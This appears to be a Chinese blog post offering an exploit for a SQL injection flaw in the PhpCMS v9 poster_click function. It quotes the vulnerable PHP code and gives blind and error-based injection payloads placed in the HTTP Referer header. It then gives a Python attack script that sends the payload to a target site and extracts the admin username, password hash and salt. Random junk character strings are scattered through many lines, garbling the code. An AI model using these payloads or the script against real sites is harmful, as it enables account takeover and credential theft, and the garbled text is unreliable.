phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
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问题函数\phpcms\modules\poster\index.php
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+ b1 R: T6 s4 L0 @5 V& c, jpublic function poster_click() {
; t" b$ A* u6 |" ~; `$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
8 j3 X9 |# E7 Z" r& X3 u' O# g! Cif (!is_array($r) && empty($r)) return false;
0 R  Q; C2 y3 b: G$ip_area = pc_base::load_sys_class('ip_area');
! O6 ~) N7 k6 Q: |" @9 q$ip = ip();
2 x, i8 r$ ~/ j5 u* I$area = $ip_area->get($ip);
0 _' {- P+ r4 H' p5 ^5 |% y$username = param::get_cookie('username') ? param::get_cookie('username') : '';
7 l+ Q3 O, R. E" L: O: M4 s1 zif($id) {
  E* j* u5 d3 X- x$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
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9 ?5 Y& s; m$ m' H" w+ {7 l$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
7 o' b" o2 a/ k5 q- _/ r$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
5 ?, f6 c& Q" C* C7 w2 W' v$ P7 K$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
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# U# a% B4 l' Vheader('Location: '.$url);
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0 U/ i" {9 R+ f: q, z$ l利用方式：
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1、可以采用盲注入的手法：

) {3 }) k: G1 r  `2 Greferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
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利用程序:

  O# D& b& i8 C$ G/ }#!/usr/bin/env python
; O& N8 g# {6 G$ }, E* l$ {import httplib,sys,re

& u. A8 _4 V( H( J# gdef attack():
print “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
url=sys.argv[1]
) `; z6 l0 A1 y' H: X1 }: g' Kpaths=sys.argv[2]
conn = httplib.HTTPConnection(url)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
! A8 U( X7 R- j5 N) k“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
/ z$ P/ c! P# k7 G  econn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
* p9 o$ q4 C$ }( Ldatas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
conn.close()
if __name__==”__main__”:
0 D6 \) {/ h2 M3 O2 w1 u& Xif len(sys.argv)<3:
' d+ u. @; l' i* J  L" m* K0 ~8 Zprint “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
' r+ K; S0 p# R5 Lsys.exit(1)
attack()